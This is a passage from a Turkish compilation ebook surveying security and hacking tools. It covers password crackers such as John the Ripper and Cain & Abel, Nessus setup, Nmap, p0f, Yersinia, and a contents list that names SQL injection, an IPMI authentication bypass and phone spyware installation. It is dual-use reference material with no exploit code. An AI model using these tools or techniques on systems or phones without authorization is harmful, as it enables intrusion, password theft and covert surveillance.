Create successful ePaper yourself
Turn your PDF publications into a flip-book with our unique Google optimized e-Paper software.
BİLGİSAYARINIZI KORUMAK İÇİN<br />
GEREKEN YAZILIMLAR<br />
DERLEME<br />
2013<br />
(Ekler 2014 Mart)<br />
Ergün Aydalga
ÖNSÖZ<br />
Aslında kitabın adına “hack” ya da “saldırı” mı demeli yoksa “koruma” mı<br />
bilemedim. Çünkü <strong>bilgisayar</strong>cı açısından her ikisi de aynı şey. Biri yasal ve izin<br />
alınarak yapılan işlemler, diğer yasa dışı... İstenmeden başkasının ortamına girip<br />
dolaşmak, onun verilerini, bilgilerini kurcalamak, hatta silmek... Gizlice....<br />
Burada anlatılan yazılımların çoğu Linux dağıtımlarında vardır. Ubuntu, Fedora gibi<br />
Linux dağıtımlarında bulunurlar ve ücretsiz indirilip kurulabilirler. Bazılarının<br />
Windows seçenekleri de vardır. Windows altında çalışanlar ilgili Windows<br />
sürümleriyle birlikte anlatılacaktır. Yalnız Windows ortamında çalışan yazılımlardan<br />
da söz ettim.<br />
Burada derlediğim programları daha çok paylaşıma açık, açık kaynak kodları olan<br />
ve “freeware” ya da GPL lisansı altında yayınlananlar arasından seçtim. İsteyen<br />
her zaman kaynak kodlara bakabilir, gerek duyduğunda değişiklik yapabilir diy<br />
düşündüm.<br />
Bu ürünlerin anlatımlarını kendi Web sitelerinde yazılanlardan aldım. Bir kısmını<br />
kullanırken anladıklarımı yazarak, diğer kısmını var olan sayfaları Türkçe anladığım<br />
biçimiyle yorumlayarak buraya aldım. Çok kullanılan programlardan bazılarında<br />
kullanıcı el kitapları vardı. Onları da anlaşılır biçimde buraya almaya çalıştım.<br />
Programları derlerken yaptıkları işlere göre sınıflara bölmeye çalıştım.<br />
BÖLÜM 1<br />
İlk bölümde şifreler, sorunlu dosyalar (sızanın bıraktığı gibi) ve silinen dosyalar için<br />
kullanılan programları anlattım.<br />
BÖLÜM 2<br />
İkinci bölümde ağ inceleme ve tarama programlarına önem verdim. Yerel ağ,<br />
uzaktaki ağlar, erişilen sunucular, ağ topoğrafyasının çıkarılması gibi bilgileri<br />
anlatmaya çalıştım. Aslında programların yaptıklarını anlatırken, ağa sızan birisi<br />
gibi sunucuları nasıl bulup yorumlayacağımı gördüm. Hatta bu programların<br />
çoğunu kendi <strong>bilgisayar</strong>ıma kurup kendi ağ ortamımda çalışmalarını<br />
değerlendirdim.<br />
BÖLÜM 3<br />
Üçüncü bölümde SQL veri tabanlarının kırılma noktalarını, nasıl içine sızılıp ek<br />
komut girileceğini gösteren programlara ayırdım. Hemen her ortamda bir yolunu<br />
bulup sızan bu programların veri tabanı üreticisine bakmaksızın nasıl ekleme<br />
yapabildiklerini hayretle izledim.
Bölüm 4<br />
Bu bölüme ağı koklayan ve paketleri yakalayan programları yerleştirdim. En<br />
önemlilerinden olan Kismet ve Wireshark bu bölümde incelediğim programlardır.<br />
Kismet yalnız kablosuz ağlar için yazılmış, Wireshark adı üzerinde kablolu ağlar<br />
için yazılmış gibi gözükse de Wireshark kablosuz ağlarda da kullanılmaktadır.<br />
Wireshark Windows sürümü sık kullanılan bir programdır. Kismet'e oranlar<br />
wireshark yalnız izlemede kalır.<br />
Bölüm 5<br />
BU bölümde ele alınan kırma araçları, çeşitli programlarda kullanılan şifre kırma<br />
araçlarıdır. Şifrenizi unutmuşsanız sizin için yararlı programlardır. Ama başkasının<br />
şifresini kırıyorsanız suç işliyorsunuzdur.<br />
Bölüm 6<br />
IPMI/BMC ile ilgili sorunu ayrı bir başlık altında incelemek istedim. Ana kart<br />
üzerinde IPMI varsa ve <strong>bilgisayar</strong>ınız elektriğe takılıysa, her an biri “hack”<br />
edebilirmiş. Açık olması, işletim sisteminin çalışması gerekmezmiş. Bazen<br />
<strong>bilgisayar</strong>ların ethernet kartlarından bağlantıyı gösteren ışığın (yeşil ve sarı ışık)<br />
göz kırptığını görünce hattaki paketler derdim, halbuki ana kartta bulunan IPMI<br />
iletişime geçiyormuş...<br />
Bir ağda akan bilginin tutulması (yakalanması) işlemine forensics (adli bilişim)<br />
adı verilir. Bu konuda iş yapan bir çok yazılım vardır. İlgilenenler<br />
http://www.forensicswiki.org/wiki/Network_forensics sayfasından bu yazılımların<br />
tablosuna bakabilirler. Tabloyu incelediğinizde benim derlediğim yazılımların da bu<br />
tabloda olduğunu görebilirsiniz.<br />
2014 yılında “Saldırgan Korunma” yeni bir boyut kazandı. Kali Linux işletim sistemi<br />
( http://www.kali.org/ ) 300'den çok sızıntı deneme ve güvenlik denetimi<br />
programıyla ağ korunmasını öne çıkaran bir kavramla kullanıma sunuldu. Aslında<br />
“Backtrack” yaratıcılarınca yapılan kali-linux, bir çok “harcker” için de kullanışlı bir<br />
ortam olabilir. Bu bölümde (Bölüm 7) saldırgan savunma ya da korunma konularını<br />
işlemeye çalışacağım.<br />
2014 yılı akıllı mobil cihazlarda sızıntı, izleme ve dinleme yönlü bir çok olayla da<br />
gündeme geldiğinden Bölüm 8'de bu konuda toplayabildiklerimi derlemeye<br />
çalışacağım.<br />
Ergün Aydalga
İÇİNDEKİLER<br />
BÖLÜM 1<br />
ŞİFRE KIRMA, SORUNLU DOSYALARI ARAMA, DOSYA SİLME PROGRAMLARI<br />
CHKROOTKIT 8<br />
BÖLÜM 2<br />
BÖLÜM 3<br />
ERASER 8<br />
JOHN THE RIPPER 8<br />
CAIN & ABEL 9<br />
LCP ve SID&User 9<br />
AĞ İNCELEME/TARAMA PROGRAMLARI<br />
NESSUS 11<br />
ARGUS 14<br />
SNORT 17<br />
BRO 17<br />
NETFLOW 17<br />
NMAP 17<br />
p0f 18<br />
YERSINIA 19<br />
NETSTUMBER 20<br />
SQL EKLEMEK İÇİN KULLANILAN PROGRAMLAR<br />
SQLNINJA 22<br />
SQL POİZON 23<br />
HAVIJ 1.15 PRO SQL EKLEME 26<br />
BÖLÜM4<br />
SNIFFER (KOKLAYANLAR)<br />
KISMET 32<br />
WIRESHARK 33<br />
METASPLOIT 33<br />
DİĞER HACKER ARAÇLARI<br />
ICRACK (Şifre kırıcı) 33<br />
bobokit 33<br />
woot-project 33<br />
Diğer Bağlantılar<br />
InfoSysSec.org: Nasıl hack edilir. 34<br />
Ağ işgali ve hacking 34
hping 34<br />
hping2 34<br />
BÖLÜM 5<br />
KIRMA ARAÇLARI<br />
pdfcrack 35<br />
Hydra 35<br />
BÖLÜM6<br />
ÖNEMLİ BİR GÜVENLİK SORUNU IPMI/BMC<br />
IPMI 37<br />
KAPANMIŞ SUNUCULARI BİLE HACK EDEBİLİRSİNİZ 37<br />
Sunucu Yönetim Sistemindeki Hacker delikleri<br />
Neredeyse fiziksel erişime kucak açar (Hacker<br />
Holes in Server Management System Allow<br />
‘Almost-Physical’ Access) 39<br />
IPMI ve BMC'lere Sızma Denemeleri El Kitabı<br />
(A Penetration Tester's Guide to IPMI and BMC's)<br />
Giriş 40<br />
BMC ve IPMI Protokolü 40<br />
Yüksek Değerdeki Hedefler 41<br />
Ağ Hizmetleri 41<br />
Supermicro IPMI (firmware SMT_X9_218) 42<br />
Ağ Keşfi 42<br />
Kullanıcı adı ve Şifreler 43<br />
Kırılganlığı Çıkartma 43<br />
IPMI Şifre Denetimini Chiper 0 ile geçmek 43<br />
IPMI 2.0 RAKP Şifre Denetimi Uzaktan<br />
Karışık Şifre Alma 45<br />
IPMI Anonymous (Adsız) Şifre Denetimi 48<br />
Supermicro IPMI UPnP Kırılganlığı 48<br />
Supermicro IPMI Açık Metin Şifreleri 49<br />
BMC'den Sunucuyu açma 50<br />
Sunucudan BMC'ye Erişmek 50<br />
Özet 51
FreeIPMI<br />
Proje Araçları 52<br />
Proje Kitaplıkları 55<br />
BÖLÜM 7<br />
SALDIRGAN KORUNMA (KALI LINUX)<br />
Kali Linux ile sızma denemeleri: 56<br />
Metasploit sınırlamalarını kaldırma: 56<br />
Kablosuz saldırlar: 56<br />
Çevreyi kırmak/delmek 56<br />
Gelişmiş Windows gediklerinden yararlanma 57<br />
Gelişmiş Web saldırıları 57<br />
GİRİŞ 57<br />
Kali Linux Kullanılabilir mi 58<br />
KALİ İNDİRME 59<br />
Canlı Kali ISO dosyası üretmek 60<br />
Kişiselleştirilmiş Kali Linux yapma<br />
Güncel Kali ISO yaratma 61<br />
Kali Masaüstünü değiştirme 61<br />
Kali Linux Genel Kullanımı<br />
Kali Linux kaynak kod depoları 62<br />
NVIDIA Sürücüleri kullanma 63<br />
Sanal kutu misafiri olarak Kali 64<br />
Kali ve Windows ikili işletim sistemi 65<br />
BÖLÜM 8<br />
AKILLI TELEFONLARDA DİNLEME<br />
Telefon casus yazılımları 67<br />
Yazılımların telefon gereksinimleri 68<br />
Yazılımlar nasıl çalışır? 68<br />
Casus yazılımı uzaktan yüklemek 69<br />
Yazılım Yükleme 69<br />
Cep Telefonlarını Hackleme 69
EK-1 NMAP KULLANICI KİTABI 70<br />
Ek-2 SQLninja Kullanıcı El Kitabı 110<br />
Ek-3 Kismet 2011-01-R1 Mike Kershaw 145<br />
http://www.kismetwireless.net<br />
Ek-4 bnc config 174<br />
(http://www.gnu.org/software/freeipmi/bmc-config-example.conf)<br />
Ek-5 IPMI 181<br />
HPC çevresinde Sunucu Aralığı Giriş/Çıkışlarını<br />
(Hostrange Input/Output) Kullanma<br />
Ek-6 Wireshark Kullanıcı El Kitabı (User Manual) 193<br />
Ek-7 TELEFON CASUS YAZILIMLARI İNCELEMELERİ 231<br />
Ek-8 AKILLI TELEFON HACKLEME 235
BÖLÜM 1<br />
ŞİFRE KIRMA, SORUNLU DOSYALARI ARAMA,<br />
DOSYA SİLME PROGRAMLARI<br />
CHKROOTKIT:<br />
Bu yazılım trojan / worm / virus dosyası tarar.<br />
Bir izleme programıdır. Sisteme eklenen ya da değiştirilen dosyaları izler. Böylece<br />
hassas alanlarda hangi dosyaların değiştiği belirlenmiş olur. Chkrootkit bazı bilinen<br />
dosyalar, trojan komutları ve worm'lar için sistemi araştırır.<br />
Yeni türleri eklemek için yazılım sürekli güncellenmektedir.<br />
ERASER<br />
Gelişmiş güvenlik aracıdır. Windows ortamlarında kullanılır. Hassas verilerinizin<br />
disk sürücünüzden silinmesini sağlar. Dosyanın üzerine defalarca yazarak<br />
okunamaz hale getirir. Windows XP (Sp 3), Windows Server 2003 (SP 2) Windows<br />
Vista, Windows Server 2008 Windows 7 ve Windows Server 2008 R2 altında çalışır.<br />
Eraser ücretsiz yazılımdır ve GPL lisansı ile dağıtılır (http://eraser.heidi.ie/ adresine<br />
bakınız).<br />
Bir çok insan başkalarıyla paylaşmayacağı bilgileri <strong>bilgisayar</strong>larında saklarlar.<br />
Şifreler, işle ilgili sınıflandırılmış belgeler, maaş bordroları, finansal kayıtlar, diğer<br />
kişisel bilgiler, resimler ve aşk mektupları (ya da iletileri) ve şiirler gibi...<br />
Bu tür dosyalar silindiğinde, dosyaların üzerine yazmadığınızı düşünürsünüz ama,<br />
silmeyi geri alma programlarıyla herkes dosyaların içindeki verilere kolaylıkla<br />
erişebilir. Çünkü <strong>bilgisayar</strong>da veri silinmez, silinen dosya adının ilk harfidir.<br />
Herhangi bir program da bu bilgiye kolaylıkla erişebilir.<br />
ERASER ÖZELLİKLERİ<br />
Windows sürümleriyle çalışır (eski Windows sürümleri için eski sürüm<br />
gerekir)<br />
Windows ile çalışan her cihazla çalışır.<br />
Dosyaların silinmesi, klasörler ve bunların önceden silinmiş biçimleri için<br />
kullanılır.<br />
ERASER programı ve kullanıcı kitapçığı için http://eraser.heidi.ie/documentation/<br />
adresine bakınız.<br />
JOHN THE RIPPER<br />
Şu anda UNIX ortamlarında kullanılabilen en hızlı şifre kırıcılardandır. DOS, BeOS,<br />
OpenVMS gibi eskiden kullanılan işletim sistemleri için de uygun bir programdır.<br />
http://www.openwall.com/john/ adresinden programı indirebilirsiniz.
CAIN & ABEL<br />
Microsoft İşletim Sisteminde şifre çözme / kurtarma aracıdır. Ağı koklayarak<br />
değişik şifre türlerinin çözülmesinde de kullanılır. Şifreleri sözlük kullanarak, kaba<br />
kuvvet ve kripto çözümleme gibi saldırı teknikleriyle kırar. VoIP (Voice over IP)<br />
konuşmalarını kaydeder, karıştırılmış şifreleri çözer ve kablosuz ağ anahtarlarını<br />
bulur. Yönlendirme protokollerini belirler. Bu kadar çok iş yapan bu program, küçük<br />
bir emekle düzeltilebilecek yazılım kırılımlarını ve varsa yazılım hatalarını aramaz.<br />
Programın amacı, protokol standartlarında bulunan güvenliğin bilinen zayıf<br />
taraflarını kullanarak işlem yapmaktır. Bunların arasında şifreleme teknikleri,<br />
gizleme mekanizmaları vardır. Asıl amaç şifrelerin kolaylıkla çözülmesi /<br />
kurtarılmasıdır.<br />
Can & Abel ağ yöneticilerine, öğretmenlere, güvenlik danışmanlarına, güvenlik<br />
yazılımı hazırlayan üreticilere, profesyonel sistemlere ve ağlara sızma denemeleri<br />
yapanlara hazırlanmış bir programdır.<br />
Program yazarı, yasa dışı kullanmaya çalışanları desteklemez onlara yardımcı<br />
olmaz.<br />
Programın son sürümünü ve ayrıntılı açıklamalarını http://www.oxid.it/cain.html<br />
adresinden sağlayabilirsiniz.<br />
LCP ve SID&User<br />
Programa ait bilgiyi http://www.lcpsoft.com/english/index.htm adresinde<br />
bulabilirsiniz.<br />
LCP programının ana amacı Windows ortamında (NT/2000/XP/2003) kullanıcı<br />
hesabı şifresini denetlemek ve çözmektir. Bu ürünün özellikleri şöyle sıralanabilir:<br />
Dıştan Alınan Hesap Bilgileri<br />
Yerel <strong>bilgisayar</strong>dan<br />
Uzaktaki <strong>bilgisayar</strong>dan<br />
SAM (Sequential Access Method) dosyadan<br />
LC dosyadan<br />
LCS dosyadan<br />
PwDump dosyasından<br />
Sniff dosyasından
Şifre çözme<br />
Sözlük kullanarak saldırı<br />
Kaba kuvvet ve sözlük karışımı kullanarak<br />
Kaba kuvvet saldırısı<br />
Kaba kuvvet oturum dağıtımı<br />
Oturum dağıtımı<br />
Oturum birleştirme<br />
Karıştırma Hesaplaması<br />
LM ve NY şifreyle karıştırma hesaplaması<br />
LM ve NT şifre ve sunucu sorgulamasıyla yanıt hesaplaması<br />
SID&User programı, Windows için (NT/2000/XP/2003) SID ve kullanıcı adını bulup<br />
çıkaran araçtır. Özellikleri:<br />
Bir hesap adı için SID alma<br />
Bir SID ya da SID aralığı için hesap adı alma
BÖLÜM 2<br />
AĞ İNCELEME/TARAMA PROGRAMLARI<br />
NESSUS<br />
Bu programı yalnız kendi sistemleriniz için kullanın. Başka sistemler için<br />
kullandığınızda hakkınızda yasal işlem başlatılabilir.<br />
NMAP gibi bir tarama değildir. NESSUS sisteminizdeki boşlukları tarar ve onları<br />
bulurken sisteminize zarar verebilecek işlemleri yapar. Bu nedenle başkasının<br />
sisteminde kullanınca o sistemlere zarar verebilirsiniz. Kendi sisteminizde<br />
kullanmadan önce yedek almanızı öneririm.<br />
Nessus her konuda eksikleri giderilmiştir ve etkin bir programdır. Sisteminizdeki<br />
servisleri tanımlar ve onları delmeye çalışır. Eğer kırılganlık varsa, “güncelleme”,<br />
“ayarların düzeltilmesi” ve “yamaların nerede bulunacağı” önerisinde bulunur.<br />
Sorunu ayrıntılarıyla anlatarak sisteminizin neden kırılgan olduğunu da söyler. Ek<br />
olarak çıktılarını HTML, ve grafik çizelgelerle de verebilir. HTML sayfalarının<br />
güvenlik raporlarına, güncellemelere ve yamalara bağları da bulunur. Unix, Linux<br />
ve Windows işletim sistemlerini kırılganlık için tarayabilir.<br />
Nessus yazılımı http://Nessus.org sitesinden sağlanabilir.<br />
NESSUS ÇALIŞTIRMA<br />
Nessus kullanıcısı /usr/sbin/nessus-adduser ile sisteme eklenir:<br />
Login admindude<br />
Şifreleme tekniği (cipher/plaintext) [cipher]<br />
admindude bu sistemdeki yerel kullanıcı mıdır [ |n]? y<br />
Yeni şifre:<br />
...<br />
<br />
<br />
/usr/sbin/nessusd ile sunucu yazılımı başlatılır<br />
ya da<br />
/etc/rc.d/init.d/nessusd start kullanarak arka plan programı başlatılır.<br />
Kullanıcı programını başlat:<br />
/usr/bin/nessus<br />
Burada ekrandaki giriş alanları aşağıdaki çizimlerde gösterildiği gibi doldurulur:<br />
Aşağıdaki pencerede önce “login” bilgilerinizi girin ve “login” düğmesine basın.
“localhost” sunucu adı olarak kullanıldığından nessus sunucusunun bulunduğu<br />
sisteme giriş yapılır. Başka bir sistem için sistemin adı ya da IP numarası<br />
girilmelidir.
Eklenebilir yazılımlar aşağıdaki tablodan seçilir:<br />
<br />
<br />
<br />
Eklenebilir yazılımlarda seçim işe uygun olanlar arasından yapılır. Unutmayın<br />
ki “tehlikeli” yazılımlar sisteme zarar verebilir.<br />
“Hedef seçimi” (Target selection) ile incelenecek sunucunun IP numarası<br />
girilir.<br />
Bundan sonra “Taramayı başlat” (Start the scan) seçilir ve beklenir (Bir<br />
<strong>bilgisayar</strong>ı incelemek yaklaşık 15 dakika sürmektedir).
Sol penceredeki kolondan tüm sonuç raporları görülebilir ve istenen HTML<br />
kalıbına çevrilebilir.<br />
Yazılım ayar dosyası: /etc/nessus/nessusd.conf<br />
ARGUS<br />
Ağ denetim kayıtları üretim ve kullanım sistemidir. Argus ağ işlemleri denetimi<br />
üzerine yoğunlaşmıştır. Ayrıca ağ işlemlerinde verim ve güvenliği destekleyen ilk<br />
örnek (prototype) teknolojisini de üretebilir. Eğer ağ paketlerine, sorunu çözmek<br />
için bakarsanız ya da ağda neler olup bittiğini görmek isterseniz Argus'un kullanışlı<br />
bir araç olduğunu görürsünüz. Başka bir amaçla bakınca bir yorum getirmek doğru<br />
olmaz. Ama ağda neler olup bittiğini gören iyi bir yazılımcı, yapmak istediğini<br />
izlediklerinden çıkarabilirse, yeterince tehlikeli olur zaten.<br />
Argus algılayıcıları ağ paketlerini işler (ya canlı paket verilerini ya da daha önce<br />
izlenip saklanmış dosyalardaki verileri) ve ayrıntılı durum raporlarını üretir. Akış<br />
raporlarında daha çok her akışın yapısı incelenir, inceleme sırasında büyük ölçüde<br />
veri indirgemesi yapıldığından, işlemlerin saklanabilmesi olanağı doğar. Özellikle<br />
çok büyük oylumlu ağ verileri kısa bir zamanda incelenebilir. Argus erişebilirlik,
ağlanabilirlik, süre, hız, yükleme ve verim, kayıp, döküntü, yeniden gönderme ve<br />
gecikme metriklerini tüm ağ akışları için sağlar. Paketlerde var olan L2 adresleri,<br />
tünel tanımları (MPLS, GRE, ESP vb.) ve benzeri protokol tanımlarını, SAP'leri,<br />
döngü sayaçlarını, seçenekleri ve L4 taşıyıcı tanımlarını ve benzeri nitelikleri<br />
yakalar. Bu konuda (L2, L4, MPLS, GRE vb.) bilgi edinmek isteyen okuyuculara<br />
önerim http://en.wikipedia.org/wiki/OSI_model adresine bakmalarıdır. Bu sayfanın<br />
Türkçesi için (yeterli olmamakla birlikte) http://tr.wikipedia.org/wiki/OSI_modeli<br />
incelenebilir.<br />
Ağ denetimi pek çok kurumda kullanılır. Bu kurumlar çoğu kez eldeki verilere<br />
dayanarak klasik IDS tabanlı ağ güvenliği oluştururlar. Denetimlerde snort ve/veya<br />
Bro kullanarak, IDS (Intrusion Detection System / Sızıntı Belirleme Sistemi)<br />
teknolojisi benzeri yapay uyarıları ve alarmlar yaratırlar. Amaç; Güvenliği doğru<br />
sağlayıp sağlamadıklarını görmektir. Ağ denetimini argus kullanarak yaparken<br />
sorunun uyarı ve alarmlardan mı geldiğini bulmaya çalışırlar. Pek çok DIY (Do-ityourself)<br />
yüklemelerinde snort, Bro ve argus beraber çalıştırılır. Argus'un ürettiği<br />
denetim raporlarına göre ağ güvenliği düzenlenir.<br />
Argus tarafından üretilen denetim verileri ağ ücretlendirmesi muhasebesinde,<br />
işletim yönetimi ve verimlilikte de sıklıkla kullanılmaktadır.<br />
Aslında IETF IPFIX Çalıştay'ında (Workshop) tanımlanan mimarinin uygulaması<br />
olarak düşünülebilir ama Argus için IPFIX mimarisinin bir üst kümesi demek daha<br />
doğrudur. Argus teknolojisi Cisco Netflow verilerini okuyabilir. Pek çok site argus<br />
ve netflow verilerinin karışımını denetimde kullanabilmektedir.<br />
Argus açık kaynak projesidir ve Mac OSX, Linux, Solaris, FreeBSD, OpenBSD,<br />
NetBSD, AIX, IRIX üzerinde çalışabilmektedir. Windows (Cygwin ve OpenWrt ile)<br />
sürümü de vardır.<br />
Yazılım küçük değişikliklerle UNIX'in diğer türevlerinde de çalışabilir. Internet<br />
işlemlerinin denetiminde gereken verim ve hız, modern hesaplama kaynaklarıyla<br />
sağlanır.<br />
Argus Dökümanı<br />
argus<br />
ağ paketlerinden denetim kayıtları üretir.<br />
argus.conf<br />
argus sistemi ayar dosyasıdır.<br />
Argus veri toplama ve dağıtım sistemi dokumanı<br />
radium<br />
Argus veri toplama, analiz ve dağıtımı<br />
radium.conf<br />
radium ayar dosyası.
Argus ve veri kullanıcıları dokumanı<br />
ra<br />
okunanı filitrele ve argus verilerini yazdır<br />
rarc<br />
ra* programlarının ayar dosyası<br />
rabins<br />
argus verilerini yapısal parçalara böl<br />
racluster<br />
argus verilerini kümeleme<br />
racluster.conf<br />
argus veri kümeleme ayar dosyası<br />
raconvert<br />
ascii akış verilerini argus kalıbına çevirme<br />
racount<br />
argus veri akışında nesneleri işaretle<br />
radump<br />
tcpdump ayıklayıcısıyla kullanıcı verilerini ayıklama<br />
raevent<br />
argus tarafından üretilen olayları okuma<br />
rafilteraddr<br />
Yüksek verimli argus veri eleme<br />
ragraph<br />
rrdtool tabanlı zaman çizelgesi<br />
ragerep<br />
Saklanan veriden kurallı işlemlerle veri arama<br />
rahisto<br />
argus veri metriklerinin frekans analiz verileri<br />
ralabel<br />
dil bilim kuralına uygun uzantı işaretleme<br />
ralabel.conf<br />
dil bilim kuralı ayar dosyası<br />
ranonymize<br />
argus verilerinin anonimleştirilmesi<br />
ranonymize.conf<br />
anonimleştirme ayar dosyası<br />
rapath<br />
argus verilerinden topoloji üretme<br />
rapolicy<br />
Sürekli veri iletişim politikası kontrolü<br />
rasort<br />
Argus verilerini sıralama<br />
rasplit<br />
Argus verilerini yapısal OS tabanlı dosyalara dönüştürme<br />
rasql<br />
Yerel argus verilerini mysql veri tabanından okuma<br />
rasqlinsert<br />
Yerel argus verilerini mysql veri tabanına ekleme ve okuma
astream<br />
Akıcı argus veri bloklarını işleme<br />
rastrip<br />
argus veri işleme ve sıkıştırma<br />
SNORT<br />
UNIX/Linux tabanlı Sızıntı Belirleme Sistemidir (Intrusion Detection System).<br />
Ayrıntılı bilgi http://www.snort.org/ Web sayfasından sağlanabilir. En sık kullanılan<br />
IDS/IPS sistemlerden biridir. Dokümantasyon için http://www.snort.org/docs<br />
sayfasına bakabilirsiniz.<br />
BRO<br />
Ağ güvenliği izleme ekranıdır. http://www.bro.org/ web sayfasından hakkındaki<br />
bilgilere erişilebilir. Burada ele alınmasının en büyük nedeni Argus ile beraber<br />
kullanılabiliyor olmasıdır. Gözlem ve izlemenin yanı sıra istatistiksel incelemelere<br />
de yer vermesi IDS/IPS sistemlerinde sorunu saptamaya yönelik ip uçları vermesini<br />
sağlar.<br />
NETFLOW<br />
Cisco tarafından geliştirilmiştir. IP uygulamaları için bir dizi anahtar servis sağlar.<br />
Bunların arasında ağ trafiği muhasebesi, ağ güvenlik planlaması, Servis red'lerini<br />
izleme becerisi ve ağ izlemesi de vardır. Ağ kullanıcıları ve ağ programları için çok<br />
değerli bilgiler sunar. Cisco'nun ürünü olan Netflow IP trafik açısında lider<br />
yazılımdır (Cisco'nun sayfasından). Ayrıntılı bilgi için<br />
http://www.cisco.com/en/US/products/ps6601/products_ios_protocol_group_home.<br />
html adresine bakın.<br />
NMAP<br />
Ağ inceleme ve denetleme programıdır. Açık kaynak kod kullanır. Pek çok kimse<br />
sistemlerin ayakta kalma sürelerini izlerken, planlamayı düzenlerken, ağda olanları<br />
kaydederken nmap için kullanışlı bir program olduğunu düşünür. NMAP ilkel<br />
mesajlar göndererek ağda hangi sunucuların olduğunu ve her sunucuda hangi tür<br />
servislerin bulunduğunu, hangi tür güvenlik kalkanı kullanıldığını ve daha başka<br />
özellikleri belirler. Nmap hemen her tür işletim sisteminde çalışabilir. Linux<br />
dağıtımlarında bulunur. Nmap sitesinde gelişmiş kullanıcı arayüzü olan zenmap<br />
vardır. Ncat, Ndiff ve Nping gibi hazır komutları bulunur.<br />
Nmap<br />
Esnektir. Güvenlik kalkanlarıyla, eleklerle donatılmış ağlarda bile<br />
kullanılabilen bir yapısı vardır.<br />
Güçlüdür. Nmap yüz binlerce <strong>bilgisayar</strong>ı arayabilecek biçimde hazırlanmıştır.
Taşınabilir. Bir çok işletim sisteminde çalışır. Linux, Microsoft Windows,<br />
FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga<br />
gibi<br />
Kolaydır. Çok kolaylıkla “nmap -v -A targethost” yazarak başlatabilirsiniz.<br />
Birçok parametreyle de kullanılabilmektedir.<br />
Dokümanları kullanışlı ve çoktur.<br />
Üretici tarafından desteklenmektedir. Sorun olduğunda her zaman cevap<br />
verecek birileri vardır.<br />
Beğenilmektedir. Bir çok başarı ödülü almıştır.<br />
Herkesin bildiği bir uygulamadır.<br />
Nmap kullanıcı kitabı için Ek-1'de bakınız.<br />
p0f<br />
Bu program, ağ trafiğinin TCP/IP iletişimi arkasındaki sistemleri tanımlamakta<br />
kullanılır. Bunu yaparken çoğu kez SYN kadar kısa bir mesaj kullanır.<br />
Bazı p0f özellikleri şunlardır:<br />
<br />
<br />
<br />
<br />
Çok hızlı bir biçimde karşı sistemde kullanılan işetim sistemini belirler.<br />
Ağ bağlantılarını ve sistemlerin ayakta kalma sürelerini verir.<br />
Bağlantı paylaşımı / NAT (Network Address Translation) bilgilerini verir.<br />
Kullanıcı ya da servisleri belirler (X-mail gibi)<br />
Program hem arka planda hem de terminalden çalıştırılabilir.<br />
Ağa giriş testleri sırasında yapılan keşif genel kullanım biçimidir. Sıradan ağ<br />
izleme, yetkisiz ağ bağlantılarını belirleme, gereksiz koruma araçları hakkında<br />
sinyal üretmek ve diğer özellikleri vardır.<br />
Tipik p0f çıktısı aşağıdaki gibi olabilir:<br />
.-[ 1.2.3.4/1524 -> 4.3.2.1/80 (syn) ]-<br />
|<br />
| client = 1.2.3.4<br />
| os = Windows XP<br />
| dist = 8<br />
| params = none<br />
| raw_sig = 4:120+8:0:1452:65535,0:mss,nop,nop,sok:df,id+:0<br />
|<br />
`----<br />
.-[ 1.2.3.4/1524 -> 4.3.2.1/80 (mtu) ]-<br />
|<br />
| client = 1.2.3.4<br />
| link = DSL<br />
| raw_mtu = 1492<br />
|<br />
`----
.-[ 1.2.3.4/1524 -> 4.3.2.1/80 (uptime) ]-<br />
|<br />
| client = 1.2.3.4<br />
| uptime = 0 days 11 hrs 16 min (modulo 198 days)<br />
| raw_freq = 250.00 Hz<br />
|<br />
|<br />
`----<br />
.-[ 1.2.3.4/1524 -> 4.3.2.1/80 (http request) ]-<br />
|<br />
| client = 1.2.3.4/1524<br />
| app = Firefox 5.x or newer<br />
| lang = English<br />
| params = none<br />
| raw_sig = 1:Host,User-Agent,Accept=[text/html,application/xhtml+xml...<br />
|<br />
`----<br />
p0f özellikle aşağıdaki konularda etkindir:<br />
<br />
<br />
<br />
<br />
TCP SYN (yani kim benim <strong>bilgisayar</strong>ıma bağlanıyor). Çeşitli sistemlerden<br />
gelen imzalar, özellikle eski platformlardan gelenler, ya da NetBSD,<br />
Windows 9x, IRIX, Playstation, Cisco IOS vb. Eğer sisteminizde p0f<br />
çalışıyorsa bu sistemlerin size bağlanması söz konusu olamaz.<br />
TCP SYN+ACK türü imzalar da (Ben kime bağlanıyorum gibi) veri tabanı ile<br />
sınırlıdır, bu nedenle herkese kapı açıktır. Bu tür imzaları toplamak için<br />
“p0f-sendsyn” aracına gerek vardır. Bunu daha sonra karşı sistemde açık<br />
olan bir başka kapıya (kapıya) bağlantı kurarak yanıtlanır (ayrıntılı bilgi için<br />
bakınız: http://lcamtuf.coredump.cx/p0f3/README).<br />
HTTP isteği ile ilgili imzalar özellikle eski tarayıcılar için geçerlidir. MSIE5,<br />
mobil cihazlar ve oyun konsolları, robot toplayıcılar, komut satırından çalışan<br />
araçlar ve bazı kitaplıklar bu gruba girer. Eğer p0f kullanıcı sisteminde varsa<br />
ya da Web sunucuda bulunuyorsa bu tür bilgileri toplayabilirsiniz.<br />
HTTP yanıt imzaları. Burada p0f en küçük veri tabanını kullanarak sinyalleri<br />
gönderilir. Her özel durum için imzalar üç biçimde toplanır: Biri browser,<br />
diğeri curl sonuncusu ise wget olur.<br />
YERSINIA<br />
Değişik ağ protokollerindeki zayıflıkları arayıp bunlardan yarar sağlamak için<br />
yapılmış ve ağ tarama aracıdır. İlgilendiği ağlar için sert bir çerçeve olduğu<br />
savını ileri sürer.<br />
Son sürümde bazı ağ protokolleri programa uyarlanmıştır. Aşağıdaki ağ<br />
protokolleri için saldırılar da uyarlanmıştır (tabi ki sizler yenilerini eklemekte<br />
özgürsünüz)
Spanning Tree Protocol, STP)<br />
Cisco Discovery Protocol (CDP)<br />
Dynamik Trunking Protokol (DTP)<br />
Dynamic Host Configuration Protocol (DHCP)<br />
Hot Standby Router Protocol (HSRP)<br />
IEEE 802.1Q<br />
IEEE 802.1X<br />
Inter-Switch-Link Protocol (ISL)<br />
VLAN Trunking Protocol (VTP)<br />
Ayrıntılı bilgi için http://www.yersinia.net/index.htm adresine bakınız.<br />
NETSTUMBER<br />
Marius Milner tarafından yazılmıştır.<br />
Windows için bir araçtır. WLAN ağlarını 802.11b, 802.11a ve 802.11g<br />
kullanarak saptar. Bir çok kullanım biçimi vardır:<br />
Ağınızın istediğiniz gibi kurulmuş olup olmadığını denetlersiniz.<br />
